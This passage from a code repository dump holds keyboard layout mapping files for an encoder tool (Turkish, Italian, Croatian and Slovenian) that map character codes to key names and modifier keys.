| // 125 } 190 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 191 | // 126 ~ 192 | ASCII_7E = KEY_TILDE, MODIFIERKEY_SHIFT 193 | // 127 194 | ASCII_7F = KEY_BACKSPACE 195 | -------------------------------------------------------------------------------- /Encoder/resources/tr.properties: -------------------------------------------------------------------------------- 1 | // Turkish Layout 2 | // By gokhanokur44 3 | 4 | // 32 5 | ASCII_20 = KEY_SPACE 6 | // 33 ! 7 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 8 | // 34 " 9 | ASCII_22 = KEY_TILDE 10 | // 35 # 11 | ASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT 12 | // 36 $ 13 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 14 | // 37 % 15 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 16 | // 38 & 17 | ASCII_26 = KEY_7, MODIFIERKEY_SHIFT 18 | // 39 ' 19 | ASCII_27 = KEY_2, MODIFIERKEY_SHIFT 20 | // 40 ( 21 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 22 | // 41 ) 23 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 24 | // 42 * 25 | ASCII_2A = KEY_MINUS 26 | // 43 + 27 | ASCII_2B = KEY_4, MODIFIERKEY_SHIFT 28 | // 44 , 29 | ASCII_2C = KEY_BACKSLASH 30 | // 45 - 31 | ASCII_2D = KEY_EQUAL 32 | // 46 . 33 | ASCII_2E = KEY_SLASH 34 | // 47 / 35 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 36 | // 48 0 37 | ASCII_30 = KEY_0 38 | // 49 1 39 | ASCII_31 = KEY_1 40 | // 50 2 41 | ASCII_32 = KEY_2 42 | // 51 3 43 | ASCII_33 = KEY_3 44 | // 52 4 45 | ASCII_34 = KEY_4 46 | // 53 5 47 | ASCII_35 = KEY_5 48 | // 54 6 49 | ASCII_36 = KEY_6 50 | // 55 7 51 | ASCII_37 = KEY_7 52 | // 55 8 53 | ASCII_38 = KEY_8 54 | // 57 9 55 | ASCII_39 = KEY_9 56 | // 58 : 57 | ASCII_3A = KEY_SLASH, MODIFIERKEY_SHIFT 58 | // 59 ; 59 | ASCII_3B = KEY_BACKSLASH, MODIFIERKEY_SHIFT 60 | // 60 < 61 | ASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT 62 | // 61 = 63 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 64 | // 62 > 65 | ASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT 66 | // 63 ? 67 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 68 | // 64 @ 69 | ASCII_40 = KEY_Q, MODIFIERKEY_RIGHT_ALT 70 | // 65 A 71 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 72 | // 66 B 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 67 C 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 68 D 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 69 E 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 70 F 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 71 G 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 72 H 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 73 I 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 74 J 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 75 K 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 76 L 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 77 M 95 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 96 | // 78 N 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 79 O 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 80 P 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 81 Q 103 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 104 | // 82 R 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 83 S 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 84 T 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 85 U 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 86 V 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 87 W 115 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 116 | // 88 X 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 89 Y 119 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 120 | // 90 Z 121 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 122 | // 91 [ 123 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 124 | // 92 125 | ASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 126 | // 93 ] 127 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 128 | // 94 ^ 129 | ASCII_5E = KEY_3, MODIFIERKEY_SHIFT 130 | // 95 _ 131 | ASCII_5F = KEY_EQUAL, MODIFIERKEY_SHIFT 132 | // 96 ` 133 | ASCII_60 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT 134 | // 97 a 135 | ASCII_61 = KEY_A 136 | // 98 b 137 | ASCII_62 = KEY_B 138 | // 99 c 139 | ASCII_63 = KEY_C 140 | // 100 d 141 | ASCII_64 = KEY_D 142 | // 101 e 143 | ASCII_65 = KEY_E 144 | // 102 f 145 | ASCII_66 = KEY_F 146 | // 103 g 147 | ASCII_67 = KEY_G 148 | // 104 h 149 | ASCII_68 = KEY_H 150 | // 105 i 151 | ASCII_69 = KEY_QUOTE 152 | // 106 j 153 | ASCII_6A = KEY_J 154 | // 107 k 155 | ASCII_6B = KEY_K 156 | // 108 l 157 | ASCII_6C = KEY_L 158 | // 109 m 159 | ASCII_6D = KEY_M 160 | // 110 n 161 | ASCII_6E = KEY_N 162 | // 111 o 163 | ASCII_6F = KEY_O 164 | // 112 p 165 | ASCII_70 = KEY_P 166 | // 113 q 167 | ASCII_71 = KEY_Q 168 | // 114 r 169 | ASCII_72 = KEY_R 170 | // 115 s 171 | ASCII_73 = KEY_S 172 | // 116 t 173 | ASCII_74 = KEY_T 174 | // 117 u 175 | ASCII_75 = KEY_U 176 | // 118 v 177 | ASCII_76 = KEY_V 178 | // 119 w 179 | ASCII_77 = KEY_W 180 | // 120 x 181 | ASCII_78 = KEY_X 182 | // 121 y 183 | ASCII_79 = KEY_Y 184 | // 122 z 185 | ASCII_7A = KEY_Z 186 | // 123 { 187 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 188 | // 124 | 189 | ASCII_7C = KEY_BACKSLASH, MODIFIERKEY_SHIFT 190 | // 125 } 191 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 192 | // 126 ~ 193 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 194 | // 127 195 | ASCII_7F = KEY_BACKSPACE 196 | -------------------------------------------------------------------------------- /Encoder/resources/it.properties: -------------------------------------------------------------------------------- 1 | // Author: Armyofangels 2 | // 01-16-2013 3 | // LAYOUT_ITALIAN 4 | KEY_NON_US_100 = 100 5 | 6 | ASCII_20 = KEY_SPACE 7 | // 32 8 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 9 | // 33 ! 10 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 11 | // 34 “ 12 | ASCII_23 = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT 13 | // 35 # 14 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 15 | // 36 $ 16 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 17 | // 37 % 18 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 19 | // 38 & 20 | ASCII_27 = KEY_MINUS 21 | // 39 ‘ 22 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 23 | // 40 ( 24 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 25 | // 41 ) 26 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 27 | // 42 * 28 | ASCII_2B = KEY_RIGHT_BRACE 29 | // 43 + 30 | ASCII_2C = KEY_COMMA 31 | // 44 , 32 | ASCII_2D = KEY_SLASH 33 | // 45 – 34 | ASCII_2E = KEY_PERIOD 35 | // 46 . 36 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 37 | // 47 / 38 | ASCII_30 = KEY_0 39 | // 48 0 40 | ASCII_31 = KEY_1 41 | // 49 1 42 | ASCII_32 = KEY_2 43 | // 50 2 44 | ASCII_33 = KEY_3 45 | // 51 3 46 | ASCII_34 = KEY_4 47 | // 52 4 48 | ASCII_35 = KEY_5 49 | // 53 5 50 | ASCII_36 = KEY_6 51 | // 54 6 52 | ASCII_37 = KEY_7 53 | // 55 7 54 | ASCII_38 = KEY_8 55 | // 56 8 56 | ASCII_39 = KEY_9 57 | // 57 9 58 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 59 | // 58 : 60 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 61 | // 59 ; 62 | ASCII_3C = KEY_NON_US_100 63 | // 60 < 64 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 65 | // 61 = 66 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 67 | // 62 > 68 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 69 | // 63 ? 70 | ASCII_40 = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT 71 | // 64 @ 72 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 73 | // 65 A 74 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 75 | // 66 B 76 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 77 | // 67 C 78 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 79 | // 68 D 80 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 81 | // 69 E 82 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 83 | // 70 F 84 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 85 | // 71 G 86 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 87 | // 72 H 88 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 89 | // 73 I 90 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 91 | // 74 J 92 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 93 | // 75 K 94 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 95 | // 76 L 96 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 97 | // 77 M 98 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 99 | // 78 N 100 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 101 | // 79 O 102 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 103 | // 80 P 104 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 105 | // 81 Q 106 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 107 | // 82 R 108 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 109 | // 83 S 110 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 111 | // 84 T 112 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 113 | // 85 U 114 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 115 | // 86 V 116 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 117 | // 87 W 118 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 119 | // 88 X 120 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 121 | // 89 Y 122 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 123 | // 90 Z 124 | ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 125 | // 91 [ 126 | ASCII_5C = KEY_TILDE 127 | // 92 \ 128 | 129 | ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 130 | // 93 ] 131 | ASCII_5E = KEY_EQUAL, MODIFIERKEY_SHIFT 132 | // 94 ^ 133 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 134 | // 95 _ 135 | 136 | // ascii 60, 96: accento grave, non mappato 137 | ASCII_61 = KEY_A 138 | // 97 a 139 | ASCII_62 = KEY_B 140 | // 98 b 141 | ASCII_63 = KEY_C 142 | // 99 c 143 | ASCII_64 = KEY_D 144 | // 100 d 145 | ASCII_65 = KEY_E 146 | // 101 e 147 | ASCII_66 = KEY_F 148 | // 102 f 149 | ASCII_67 = KEY_G 150 | // 103 g 151 | ASCII_68 = KEY_H 152 | // 104 h 153 | ASCII_69 = KEY_I 154 | // 105 i 155 | ASCII_6A = KEY_J 156 | // 106 j 157 | ASCII_6B = KEY_K 158 | // 107 k 159 | ASCII_6C = KEY_L 160 | // 108 l 161 | ASCII_6D = KEY_M 162 | // 109 m 163 | ASCII_6E = KEY_N 164 | // 110 n 165 | ASCII_6F = KEY_O 166 | // 111 o 167 | ASCII_70 = KEY_P 168 | // 112 p 169 | ASCII_71 = KEY_Q 170 | // 113 q 171 | ASCII_72 = KEY_R 172 | // 114 r 173 | ASCII_73 = KEY_S 174 | // 115 s 175 | ASCII_74 = KEY_T 176 | // 116 t 177 | ASCII_75 = KEY_U 178 | // 117 u 179 | ASCII_76 = KEY_V 180 | // 118 v 181 | ASCII_77 = KEY_W 182 | // 119 w 183 | ASCII_78 = KEY_X 184 | // 120 x 185 | ASCII_79 = KEY_Y 186 | // 121 y 187 | ASCII_7A = KEY_Z 188 | // 122 z 189 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 190 | // 123 { 191 | ASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT 192 | // 124 | 193 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 194 | // 125 } 195 | 196 | // ascii 7E, 126: tilde, non mappato 197 | ISO_8859_1_E0 = KEY_QUOTE 198 | // 192 a grave 199 | ISO_8859_1_E8 = KEY_LEFT_BRACE 200 | // 232 e grave 201 | ISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 202 | // 233 e acuta 203 | ISO_8859_1_EC = KEY_EQUAL 204 | // 236 i grave 205 | ISO_8859_1_F2 = KEY_SEMICOLON 206 | // 242 o grave 207 | ISO_8859_1_F9 = KEY_BACKSLASH 208 | // 249 u grave -------------------------------------------------------------------------------- /Encoder/resources/hr.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_CROATIAN 2 | //Translated by ziolity on (03/08/2014) 3 | KEY_NON_US_100 = 100 4 | 5 | // Nonbreakng Space 6 | // a b c č d e f g h i j k l m n o p r s š t u v z ž x y q w ć đ 7 | ASCII_20 = KEY_SPACE 8 | ASCII_61 = KEY_A 9 | ASCII_62 = KEY_B 10 | ASCII_63 = KEY_C 11 | UNICODE_10D = KEY_SEMICOLON 12 | ASCII_64 = KEY_D 13 | ASCII_65 = KEY_E 14 | ASCII_66 = KEY_F 15 | ASCII_67 = KEY_G 16 | ASCII_68 = KEY_H 17 | ASCII_69 = KEY_I 18 | ASCII_6A = KEY_J 19 | ASCII_6B = KEY_K 20 | ASCII_6C = KEY_L 21 | ASCII_6D = KEY_M 22 | ASCII_6E = KEY_N 23 | ASCII_6F = KEY_O 24 | ASCII_70 = KEY_P 25 | ASCII_72 = KEY_R 26 | ASCII_73 = KEY_S 27 | UNICODE_161 = KEY_LEFT_BRACE 28 | ASCII_74 = KEY_T 29 | ASCII_75 = KEY_U 30 | ASCII_76 = KEY_V 31 | ASCII_7A = KEY_Y 32 | UNICODE_17E = KEY_BACKSLASH 33 | ASCII_78 = KEY_X 34 | ASCII_79 = KEY_Z 35 | ASCII_71 = KEY_Q 36 | ASCII_77 = KEY_W 37 | UNICODE_107 = KEY_QUOTE 38 | UNICODE_111 = KEY_RIGHT_BRACE 39 | // A B C Č D E F G H I J K L M N O P R S Š T U V Z Ž X Y Q W Ć Đ 40 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 41 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 42 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 43 | UNICODE_10C = KEY_SEMICOLON, MODIFIERKEY_SHIFT 44 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 45 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 46 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 47 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 48 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 49 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 50 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 51 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 52 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 53 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 54 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 55 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 56 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 57 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 58 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 59 | UNICODE_160 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 60 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 61 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 62 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 63 | ASCII_5A = KEY_Y, MODIFIERKEY_SHIFT 64 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 65 | ASCII_59 = KEY_Z, MODIFIERKEY_SHIFT 66 | UNICODE_17D = KEY_BACKSLASH, MODIFIERKEY_SHIFT 67 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 68 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 69 | UNICODE_106 = KEY_QUOTE, MODIFIERKEY_SHIFT 70 | UNICODE_110 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 71 | // Symbols // ! " # $ % & / ( ) = ? * < > , ; . : - _ [ ] ~ ` \ | € ÷ × ł Ł ß ¤ { } § @ 72 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 73 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 74 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 75 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 76 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 77 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 78 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 79 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 80 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 81 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 82 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 83 | ASCII_2A = KEY_EQUAL, MODIFIERKEY_SHIFT 84 | ASCII_27 = KEY_MINUS 85 | ASCII_2B = KEY_EQUAL 86 | ASCII_7E = KEY_1, MODIFIERKEY_RIGHT_ALT 87 | ASCII_60 = KEY_7, MODIFIERKEY_RIGHT_ALT 88 | ASCII_5C = KEY_Q, MODIFIERKEY_RIGHT_ALT 89 | ASCII_7C = KEY_W, MODIFIERKEY_RIGHT_ALT 90 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 91 | ISO_8859_1_F7 = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 92 | ISO_8859_1_D7 = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 93 | ASCII_5B = KEY_F, MODIFIERKEY_RIGHT_ALT 94 | ASCII_5D = KEY_G, MODIFIERKEY_RIGHT_ALT 95 | UNICODE_142 = KEY_K, MODIFIERKEY_RIGHT_ALT 96 | UNICODE_141 = KEY_L, MODIFIERKEY_RIGHT_ALT 97 | ISO_8859_1_DF = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT 98 | ISO_8859_1_A4 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT 99 | ASCII_3C = KEY_NON_US_100 100 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 101 | ASCII_40 = KEY_V, MODIFIERKEY_RIGHT_ALT 102 | ASCII_7B = KEY_B, MODIFIERKEY_RIGHT_ALT 103 | ASCII_7D = KEY_N, MODIFIERKEY_RIGHT_ALT 104 | ASCII_2E = KEY_PERIOD 105 | ASCII_2D = KEY_SLASH 106 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 107 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 108 | ASCII_2C = KEY_COMMA 109 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 110 | ISO_8859_1_A7 = KEY_M, MODIFIERKEY_RIGHT_ALT 111 | // Not needed chars // input: ¸ ¨ ˇ ^ ˘ ° ˛ ˙ ´ ˝ ¨ ¸ output: ¸¨ˇ^˘°˛˙´˝¨¸ (notice no space!) 112 | ISO_8859_1_B8 = KEY_TILDE 113 | ISO_8859_1_A8 = KEY_TILDE, MODIFIERKEY_SHIFT 114 | UNICODE_2C7 = KEY_2, MODIFIERKEY_RIGHT_ALT 115 | ASCII_5E = KEY_3, MODIFIERKEY_RIGHT_ALT 116 | UNICODE_2D8 = KEY_4, MODIFIERKEY_RIGHT_ALT 117 | ISO_8859_1_B0 = KEY_5, MODIFIERKEY_RIGHT_ALT 118 | UNICODE_2DB = KEY_6, MODIFIERKEY_RIGHT_ALT 119 | UNICODE_2D9 = KEY_8, MODIFIERKEY_RIGHT_ALT 120 | ISO_8859_1_B4 = KEY_9, MODIFIERKEY_RIGHT_ALT 121 | UNICODE_2DD = KEY_0, MODIFIERKEY_RIGHT_ALT 122 | ISO_8859_1_A8 = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 123 | ISO_8859_1_B8 = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT 124 | // Numbers: 0 1 2 3 4 5 6 7 8 9 125 | ASCII_30 = KEY_0 126 | ASCII_31 = KEY_1 127 | ASCII_32 = KEY_2 128 | ASCII_33 = KEY_3 129 | ASCII_34 = KEY_4 130 | ASCII_35 = KEY_5 131 | ASCII_36 = KEY_6 132 | ASCII_37 = KEY_7 133 | ASCII_38 = KEY_8 134 | ASCII_39 = KEY_9 -------------------------------------------------------------------------------- /Encoder/resources/si.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_SLOVENIAN 2 | //Translation by ziolity (01/08/2014) 3 | //Updated by ziolity on (03/08/2014) (small fix) 4 | KEY_NON_US_100 = 100 5 | 6 | // Nonbreakng Space 7 | // a b c č d e f g h i j k l m n o p r s š t u v z ž x y q w ć đ 8 | ASCII_20 = KEY_SPACE 9 | ASCII_61 = KEY_A 10 | ASCII_62 = KEY_B 11 | ASCII_63 = KEY_C 12 | UNICODE_10D = KEY_SEMICOLON 13 | ASCII_64 = KEY_D 14 | ASCII_65 = KEY_E 15 | ASCII_66 = KEY_F 16 | ASCII_67 = KEY_G 17 | ASCII_68 = KEY_H 18 | ASCII_69 = KEY_I 19 | ASCII_6A = KEY_J 20 | ASCII_6B = KEY_K 21 | ASCII_6C = KEY_L 22 | ASCII_6D = KEY_M 23 | ASCII_6E = KEY_N 24 | ASCII_6F = KEY_O 25 | ASCII_70 = KEY_P 26 | ASCII_72 = KEY_R 27 | ASCII_73 = KEY_S 28 | UNICODE_161 = KEY_LEFT_BRACE 29 | ASCII_74 = KEY_T 30 | ASCII_75 = KEY_U 31 | ASCII_76 = KEY_V 32 | ASCII_7A = KEY_Y 33 | UNICODE_17E = KEY_BACKSLASH 34 | ASCII_78 = KEY_X 35 | ASCII_79 = KEY_Z 36 | ASCII_71 = KEY_Q 37 | ASCII_77 = KEY_W 38 | UNICODE_107 = KEY_QUOTE 39 | UNICODE_111 = KEY_RIGHT_BRACE 40 | // A B C Č D E F G H I J K L M N O P R S Š T U V Z Ž X Y Q W Ć Đ 41 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 42 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 43 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 44 | UNICODE_10C = KEY_SEMICOLON, MODIFIERKEY_SHIFT 45 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 46 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 47 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 48 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 49 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 50 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 51 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 52 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 53 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 54 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 55 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 56 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 57 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 58 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 59 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 60 | UNICODE_160 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 61 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 62 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 63 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 64 | ASCII_5A = KEY_Y, MODIFIERKEY_SHIFT 65 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 66 | ASCII_59 = KEY_Z, MODIFIERKEY_SHIFT 67 | UNICODE_17D = KEY_BACKSLASH, MODIFIERKEY_SHIFT 68 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 69 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 70 | UNICODE_106 = KEY_QUOTE, MODIFIERKEY_SHIFT 71 | UNICODE_110 = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 72 | // Symbols // ! " # $ % & / ( ) = ? * < > , ; . : - _ [ ] ~ ` \ | € ÷ × ł Ł ß ¤ { } § @ 73 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 74 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 75 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 76 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 77 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 78 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 79 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 80 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 81 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 82 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 83 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 84 | ASCII_2A = KEY_EQUAL, MODIFIERKEY_SHIFT 85 | ASCII_27 = KEY_MINUS 86 | ASCII_2B = KEY_EQUAL 87 | ASCII_7E = KEY_1, MODIFIERKEY_RIGHT_ALT 88 | ASCII_60 = KEY_7, MODIFIERKEY_RIGHT_ALT 89 | ASCII_5C = KEY_Q, MODIFIERKEY_RIGHT_ALT 90 | ASCII_7C = KEY_W, MODIFIERKEY_RIGHT_ALT 91 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 92 | ISO_8859_1_F7 = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 93 | ISO_8859_1_D7 = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 94 | ASCII_5B = KEY_F, MODIFIERKEY_RIGHT_ALT 95 | ASCII_5D = KEY_G, MODIFIERKEY_RIGHT_ALT 96 | UNICODE_142 = KEY_K, MODIFIERKEY_RIGHT_ALT 97 | UNICODE_141 = KEY_L, MODIFIERKEY_RIGHT_ALT 98 | ISO_8859_1_DF = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT 99 | ISO_8859_1_A4 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT 100 | ASCII_3C = KEY_NON_US_100 101 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 102 | ASCII_40 = KEY_V, MODIFIERKEY_RIGHT_ALT 103 | ASCII_7B = KEY_B, MODIFIERKEY_RIGHT_ALT 104 | ASCII_7D = KEY_N, MODIFIERKEY_RIGHT_ALT 105 | ASCII_2E = KEY_PERIOD 106 | ASCII_2D = KEY_SLASH 107 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 108 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 109 | ASCII_2C = KEY_COMMA 110 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 111 | ISO_8859_1_A7 = KEY_M, MODIFIERKEY_RIGHT_ALT 112 | // Not needed chars // input: ¸ ¨ ˇ ^ ˘ ° ˛ ˙ ´ ˝ ¨ ¸ output: ¸¨ˇ^˘°˛˙´˝¨¸ (notice no space!) 113 | ISO_8859_1_B8 = KEY_TILDE 114 | 